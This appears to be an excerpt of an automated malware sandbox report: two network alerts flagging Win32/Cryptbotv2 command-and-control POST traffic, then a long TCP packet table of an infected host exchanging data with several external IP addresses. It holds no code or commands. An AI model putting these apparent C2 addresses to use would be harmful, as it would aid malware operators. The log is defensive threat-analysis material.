2024-12-18T11:48:29.202502+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50010	185.185.71.170	80	TCP
2024-12-18T11:48:38.006384+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	50031	185.185.71.170	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 11:47:05.547252893 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:05.666953087 CET	80	49789	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:05.667081118 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:05.667301893 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:05.786834002 CET	80	49789	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:06.994314909 CET	80	49789	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:06.998233080 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.508544922 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.508955956 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.629224062 CET	80	49789	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:08.629281044 CET	80	49796	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:08.629390001 CET	49789	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.629398108 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.629635096 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:08.750358105 CET	80	49796	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:11.859625101 CET	80	49796	185.215.113.43	192.168.2.6
Dec 18, 2024 11:47:11.859751940 CET	49796	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:47:11.863894939 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:11.983902931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:11.984049082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:12.063829899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:12.183435917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770374060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770423889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770458937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770477057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.770509005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.770659924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770677090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770690918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.770693064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.770718098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.770736933 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.771532059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.771562099 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.771578074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.771591902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.771608114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.771620035 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.771859884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.771891117 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.890094042 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.890185118 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.890229940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.890278101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.894279957 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.894330978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.894360065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.894395113 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:13.980154037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:13.980232954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.033148050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.033273935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.033457041 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.033508062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.037498951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.037564993 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.037606001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.037628889 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.044579983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.044611931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.044655085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.044688940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.052756071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.052810907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.052987099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.053030968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.059839964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.059906006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.059940100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.059979916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.067440033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.067502975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.067580938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.067624092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.075073004 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.075136900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.075156927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.075193882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.083090067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.083134890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.083261967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.083295107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.090387106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.090435982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.090518951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.090559959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.098349094 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.098396063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.098478079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.098520994 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.105812073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.105881929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.105904102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.105954885 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.113190889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.113255978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.228600979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.228653908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.228715897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.228755951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.234028101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.234061003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.234100103 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.234123945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.235872984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.235924959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.235965967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.236005068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.239937067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.240000963 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.240050077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.240088940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.243942022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.244010925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.244050980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.244136095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.248047113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.248110056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.248147964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.248207092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.252227068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.252252102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.252275944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.252300024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.256208897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.256258011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.256325006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.256550074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.260191917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.260268927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.260291100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.260338068 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.264257908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.264317989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.264386892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.264429092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.268378019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.268439054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.268450975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.268488884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.272409916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.272465944 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.272484064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.272516966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.276506901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.276567936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.276604891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.276643038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.280441999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.280499935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.280563116 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.280616045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.284554005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.284606934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.284641027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.284683943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.288656950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.288712025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.288754940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.288798094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.293657064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.293720961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.293804884 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.293848038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.297374010 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.297432899 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.297513962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.297559023 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.301031113 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.301085949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.301126003 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.301177025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.304879904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.304892063 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.304924965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.304964066 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.308826923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.308887005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.308937073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.308975935 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.312961102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.313036919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.313055992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.313090086 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.348355055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.348421097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.348433971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.348486900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.350460052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.350511074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.419924021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.419997931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.420047045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.420074940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.421628952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.421689987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.425028086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.425097942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.425117016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.425173998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.426652908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.426714897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.426805973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.426855087 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.430017948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.430085897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.430140972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.430181980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.433348894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.433442116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.433455944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.433501959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.436723948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.436817884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.436830044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.436920881 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.440005064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.440045118 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.440079927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.440099955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.443254948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.443295002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.443320990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.443346024 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.446533918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.446620941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.446671009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.446717978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.449565887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.449623108 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.449630976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.449676991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.452672005 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.452761889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.452765942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.452805042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.455885887 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.455971003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.456047058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.456099987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.459871054 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.459886074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.459958076 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.462305069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.462378025 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.462452888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.462500095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.465547085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.465585947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.465653896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.465653896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.471376896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.471391916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.471451044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.471487045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.471765995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.471818924 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.471857071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.471900940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.473768950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.473823071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.473869085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.473922968 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.475519896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.475573063 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.475621939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.475667953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.477456093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.477478981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.477523088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.477561951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.479243040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.479309082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.479351997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.479391098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.481123924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.481175900 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.481193066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.481230974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.483007908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.483068943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.483124018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.483171940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.484852076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.484905005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.484971046 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.485012054 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.486763954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.486824036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.486857891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.486908913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.488589048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.488657951 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.488687992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.488739967 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.490443945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.490502119 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.490549088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.490598917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.492309093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.492367029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.492393970 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.492436886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.494244099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.494256020 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.494308949 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.496115923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.496159077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.496202946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.496253014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.497878075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.497931004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.497971058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.498014927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.499794006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.499844074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.499960899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.500009060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.501605988 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.501672983 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.501719952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.501771927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.503447056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.503504992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.503547907 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.503592014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.505314112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.505359888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.505369902 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.505410910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.507184029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.507236004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.507297039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:14.507725954 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:14.509079933 CET	80	49806	31.41.244.11	192.168.2.6
